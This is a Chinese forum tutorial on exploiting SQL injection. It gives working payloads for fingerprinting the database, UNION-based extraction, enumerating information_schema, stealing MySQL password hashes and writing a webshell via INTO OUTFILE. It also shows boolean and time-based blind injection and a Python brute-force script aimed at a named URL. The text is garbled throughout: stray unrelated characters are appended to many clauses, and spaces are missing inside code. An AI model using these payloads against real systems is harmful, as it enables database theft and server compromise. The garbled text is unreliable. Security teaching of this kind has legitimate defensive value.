來源:http://bbs.ichunqiu.com/thread-9668-1-1.html?from=ch
作者:zusheng
時間:2016年8月8日 11:03:56
社區(qū):i春秋
前言
找到SQL注入漏洞后,我們可以用它來干什么呢?那么本篇文章給大家?guī)淼木褪荢QL注入漏洞利用技術(shù),現(xiàn)在是時候讓我們?nèi)ンw驗一下漏洞利用的樂趣了乔遮。
目錄
第三節(jié) 利用SQL注入
3.1骨田、識別數(shù)據(jù)庫
3.2漓库、UINON語句提取數(shù)據(jù)
3.3剩瓶、枚舉數(shù)據(jù)庫
3.4、竊取哈喜盏睿可令
3.5形用、獲取WebShell
第四節(jié) SQL盲注利用
4.1就轧、初識SQL盲注
4.2、SQL盲注入技術(shù)-基于布爾
4.3田度、SQL盲注入技術(shù)-基于時間
4.4妒御、我們的好朋友-Python
正文
第三節(jié) 利用SQL注入
3.1、識別數(shù)據(jù)庫
要想發(fā)動SQL注入攻擊镇饺,就要知道正在使用的系統(tǒng)數(shù)據(jù)庫乎莉,不然就沒法提取重要的數(shù)據(jù)。
首先從Web應(yīng)用技術(shù)上就給我們提供了判斷的線索:
ASP和.NET:Microsoft SQL Server
PHP:MySQL奸笤、PostgreSQL
Java:Oracle惋啃、MySQL
底層操作系統(tǒng)也給我們提供了線索,比如安裝IIS作為服務(wù)器平臺监右,后臺數(shù)據(jù)及很有可能是Microsoft SQL Server边灭,而允許Apache和PHP的Linux服務(wù)器就很有可能使用開源的數(shù)據(jù)庫,比如MySQL和PostgreSQL健盒。
基于錯誤識別數(shù)據(jù)庫
大多數(shù)情況下绒瘦,要了解后臺是什么數(shù)據(jù)庫,只需要看一條詳細(xì)的錯誤信息即可扣癣。比如判斷我們事例中使用的數(shù)據(jù)庫惰帽,我們加個單引號。
[SQL]純文本查看復(fù)制代碼
1
error:You have an errorinyour SQL syntax;checkthe manual that correspondstoyour MySQL server versionfortherightsyntaxtouse near'''atline 1
從錯誤信息中父虑,我們就可以發(fā)現(xiàn)是MySQL该酗。
[SQL]純文本查看復(fù)制代碼
1
2
3Microsoft OLE DB ProviderforODBC Drivers 錯誤'80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1:
上面錯誤信息可以發(fā)現(xiàn)是Microsoft SQL Server,如果錯誤信息開頭是ORA士嚎,就可以判斷數(shù)據(jù)庫是Oracle垂涯,很簡單烁焙,道理都是一樣的,就不一一列舉了耕赘。
基于數(shù)字函數(shù)推斷
數(shù)據(jù)庫服務(wù)器函數(shù)
Microsoft SQL Server@@pack_received、@@rowcount
MySQLconnection_id()膳殷、last_insert_id()操骡、row_count()
OracleBITAND(1,1)
PostgreSQLselect EXTRACT(DOW FROM NOW())
這里以我們搭建的環(huán)境為例來做推斷:
connection_id()不管它值多少,基本上都是正的赚窃,也就是為真册招,last_insert_id()用法大家自行百度,這里不存在insert語句勒极,默認(rèn)情況就是返回零是掰,也就是假。
那么如果andconnection_id()數(shù)據(jù)返回正常辱匿,andconnection_id()不返回數(shù)據(jù)键痛,我們就可以推斷這是一個MySQL數(shù)據(jù)庫了。
3.2匾七、UINON語句提取數(shù)據(jù)
UNION操作符可以合并兩條或多條SELECT語句的查詢結(jié)果絮短,基本語法如下:
[SQL]純文本查看復(fù)制代碼
1
2
3selectcolumn-1column-2fromtable-1
UNION
selectcolumn-1column-2fromtable-2
如果應(yīng)用程序返回了第一條查詢得到的數(shù)據(jù),我們就可以在第一條查詢后面注入一個UNION運(yùn)算符來添加一個任意查詢昨忆,來提取數(shù)據(jù)丁频,是不是很容易啊,當(dāng)然在使用UNION之前我們必須要滿足兩個條件:
兩個查詢返回的列數(shù)必須相同
兩個查詢語句對于列返回的數(shù)據(jù)類型必須相同
首先我來看第一個條件邑贴,如何知道第一條查詢的列數(shù)呢席里?我們可以使用NULL來嘗試,由于NULL值會被轉(zhuǎn)換成任何數(shù)據(jù)類型拢驾,所以我們不用管第二個條件奖磁。
就是這樣的一個個加上去進(jìn)行嘗試,直到不返回錯誤独旷。
神奇的ORDER BY子句
除了上述方法署穗,我們還可以是用order by子句得到準(zhǔn)確列數(shù)
我們先嘗試了12,返回錯誤嵌洼,說明列數(shù)是小于12的案疲,我們繼續(xù)嘗試了6,返回錯誤麻养,同理褐啡,列數(shù)小于6的,我們嘗試3鳖昌,返回正常备畦,說明列數(shù)是大于等于3的低飒,繼續(xù)嘗試4,返回錯誤懂盐。說明列數(shù)是小于4褥赊,列數(shù)大于等于3,小于4莉恼,可以得到列數(shù)是3拌喉。使用order by子句可以幫助我們快速得到列數(shù)。
得到列數(shù)后我們還需要滿足第二個條件
很簡單俐银,只要一次一列使用我們的測試字符串替換NULL即可尿背,可以發(fā)現(xiàn)第一列和第二列都可以存放字符串,第三列數(shù)據(jù)沒有輸出捶惜。
接下來就讓我們提取數(shù)據(jù)庫用戶名和版本號:
3.3田藐、枚舉數(shù)據(jù)庫
這里由于篇幅問題,我們只以MySQL數(shù)據(jù)庫為例了吱七,枚舉數(shù)據(jù)庫并提取數(shù)據(jù)遵循一種層次化的方法汽久,首先我們提取數(shù)據(jù)庫名稱,然后提取表陪捷,再到列回窘,最后才是數(shù)據(jù)本身。要想獲取遠(yuǎn)程數(shù)據(jù)庫的表市袖、列啡直,就要訪問專門保存描述各種數(shù)據(jù)庫結(jié)構(gòu)的表。通常將這些結(jié)構(gòu)描述信息成為元數(shù)據(jù)苍碟。在MySQL中酒觅,這些表都保存在information_schema數(shù)據(jù)庫中
第一步:提取數(shù)據(jù)庫
在MySQL中,數(shù)據(jù)庫名存放在information_schema數(shù)據(jù)庫下schemata表schema_name字段中
[SQL]純文本查看復(fù)制代碼
1
id=1unionselectnull,schema_name,nullfrominformation_schema.schemata
第二步:提取表名
在MySQL中微峰,表名存放在information_schema數(shù)據(jù)庫下tables表table_name字段中
[SQL]純文本查看復(fù)制代碼
1
?id=1unionselectnull,table_name,nullfrominformation_schema.tableswheretable_schema='ichunqiu'
這里我使用where子句來篩選了舷丹,只返回數(shù)據(jù)庫ichunqiu下的表名,想返回所有表名蜓肆,去掉where子句就行了颜凯。
第三步:提取字段名
在MySQL中,字段名存放在information_schema數(shù)據(jù)庫下columns表column_name字段中
同樣加上where子句限制仗扬,不讓你都不知道字段名是哪個數(shù)據(jù)庫哪個表下症概。
第四步:提取數(shù)據(jù)
這一步就簡單了,不再介紹了早芭,看圖彼城。
3.4、竊取哈希可令
MySQL在mysql.user表中存儲哈夏己荆口令调炬,怎么提取看下圖:
哈希口令是通過使用PASSWORD()函數(shù)計算的:
具體算法取決于MySQL安裝的版本舱馅。
3.5缰泡、獲取WebShell
利用SQL注入攻擊獲取WebShell其實就是在向服務(wù)器寫文件。(注意:這里我們需要得到網(wǎng)站的絕對路徑)所有常用的關(guān)系數(shù)據(jù)庫管理系統(tǒng)(RDBMS)均包含內(nèi)置的向服務(wù)器文件系統(tǒng)寫文件的功能代嗤。
[SQL]純文本查看復(fù)制代碼
1
selectintooutfile(dumpfile)? //MySQL寫文件命令
例如:
[SQL]純文本查看復(fù)制代碼
1
select""intooutfile"F:\\www\\test.php";
那么其它關(guān)系數(shù)據(jù)庫管理系統(tǒng)同樣的原理寫文件匀谣,就不在過多介紹了。
第四節(jié) SQL盲注利用
4.1资溃、初識SQL盲注
SQL盲注是指在無法使用詳細(xì)數(shù)據(jù)庫錯誤消息或帶內(nèi)數(shù)據(jù)連接的情況下,利用數(shù)據(jù)庫查詢的輸入審查漏洞從數(shù)據(jù)庫提取信息或提取與數(shù)據(jù)庫查詢相關(guān)信息的技術(shù)烈炭。
常見的SQL盲注入場景:
1溶锭、提交一個導(dǎo)致SQL查詢無效時,會返回一個通用錯誤頁面符隙,提交正確則會返回一個內(nèi)容可被適度控制的頁面趴捅。
2、提交一個導(dǎo)致SQL查詢無效時霹疫,會返回一個通用錯誤頁面拱绑,提交正確則會返回一個內(nèi)容不可控的頁面。
3丽蝎、提交受損或不正確的SQL既不會產(chǎn)生錯誤頁面猎拨,也不會以任何方式影響頁面輸出。
4.2屠阻、SQL盲注入技術(shù)-基于布爾
了解完SQL定義以及這類漏洞的注入場景后红省,現(xiàn)在我?guī)Т蠹疑钊胙芯坷眠@些漏洞的技術(shù)。
首先我們我們提交錯誤的SQL国觉,看資源是否返回通用的錯誤頁面吧恃。
我們能控制頁面的輸出結(jié)果嗎?
顯然可以
[SQL]純文本查看復(fù)制代碼
1
2id=1and1=1True
id=1and1=2False
怎么利用麻诀?
在介紹利用技巧之前我們先來介紹一個重要的SQL函數(shù)
[SQL]純文本查看復(fù)制代碼
1
2SUBSTRING(str,pos,len)
沒有l(wèi)en參數(shù)的形式返回一個字符串從字符串str從位置pos開始痕寓。一個len參數(shù)的形式返回len個字符長的字符串str的子串,從位置pos開始蝇闭,形式使用的是標(biāo)準(zhǔn)的SQL語法呻率。另外,也可以使用負(fù)的值為pos丁眼。在這種情況下晨汹,剛開始的子串位置的字符結(jié)尾的字符串裙戏,而不是開始昌粤。負(fù)的值可用于為pos在此函數(shù)中的任何形式的珊皿。
舉例利用-獲取數(shù)據(jù)的用戶名
[SQL]純文本查看復(fù)制代碼
1
2id=1andSUBSTRING(user(),1,1)='a'
#利用SUBSTRING()函數(shù)提取用戶名的第一個字符,看等于字符a嗎菱肖?,如果等于頁面返回True狀態(tài),不等于返回False狀態(tài)乾蓬。
[SQL]純文本查看復(fù)制代碼
1
2id=1andSUBSTRING(user(),1,1)='r'
#返回True狀態(tài),也就是頁面正常慎恒,表示用戶名第一個字符是r
這也就是基于布爾的SQL盲注入技術(shù)
4.3任内、SQL盲注入技術(shù)-基于時間
和基于布爾的SQL盲注入技術(shù)原理其實大同小異,當(dāng)某一狀態(tài)為真時融柬,讓響應(yīng)暫停幾秒鐘死嗦,而當(dāng)狀態(tài)為假時,不出現(xiàn)暫停粒氧。
廢話不多說看技巧利用越除。
[SQL]純文本查看復(fù)制代碼
1
2id=1unionselectif(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null
#注意使用union的條件哦,前面介紹了外盯。同樣的道理摘盆,提取用戶名前四個字符做判斷,正確就延遲4秒饱苟,錯誤返回1
4.4孩擂、我們的好朋友-Python
使用Python自動化注入獲取用戶名事例:
MySQL提取用戶名進(jìn)行比較不區(qū)分大小寫,所以我們?nèi)サ羝渲械拇髮懽帜赶浒尽4a很簡單类垦,就不解釋了。
[Python]純文本查看復(fù)制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26importrequests
defattack():
print'launch an attack'
url='http://www.isbase.com/sqlbool.php'
user='[+]system_user: '
zimu1=range(33,65)
zimu2=range(91,128)
zimu=zimu1+zimu2
forlinrange(1,16):
foriinzimu:
payload="and SUBSTRING(user(),"+str(l)+",1)='"+chr(i)+"'"
payload={'id':'1 '+payload}
r=requests.get(url, params=payload)
wenben=r.text
wenben=wenben.encode("utf-8")
result=wenben.find("jim")
if(result !=-1):
user=user+chr(i)
printuser
if__name__=='__main__':
print'Author:zusheng'
print'bbs:ichunqiu.com'
attack()
print'[+]ok'
結(jié)束語
從8月8號開始坦弟,到現(xiàn)在差不多一個星期了护锤,終于在空余時間完成了這篇文章,感謝大家的支持酿傍,寫的自己感覺很滿意了烙懦,但是并不是很完美,希望以后能給大家?guī)砀嗑A的文章吧赤炒。還有最后一篇高級部分氯析。堅持吧,努力給大家?guī)砀敿?xì)更深入的好文莺褒。技術(shù)有限掩缓,如文中有錯誤請指出,謝謝遵岩。
系列文章預(yù)告及導(dǎo)航
滲透攻防Web篇-SQL注入攻擊初級(狀態(tài):已更新)
第一節(jié) 注入攻擊原理及自己編寫注入點(diǎn)
第二節(jié) 尋找及確認(rèn)SQL注入
滲透攻防Web篇-SQL注入攻擊高級(狀態(tài):更新中)
第五節(jié) 避開過濾方法總結(jié)
第六節(jié) 探討SQL注入防御技巧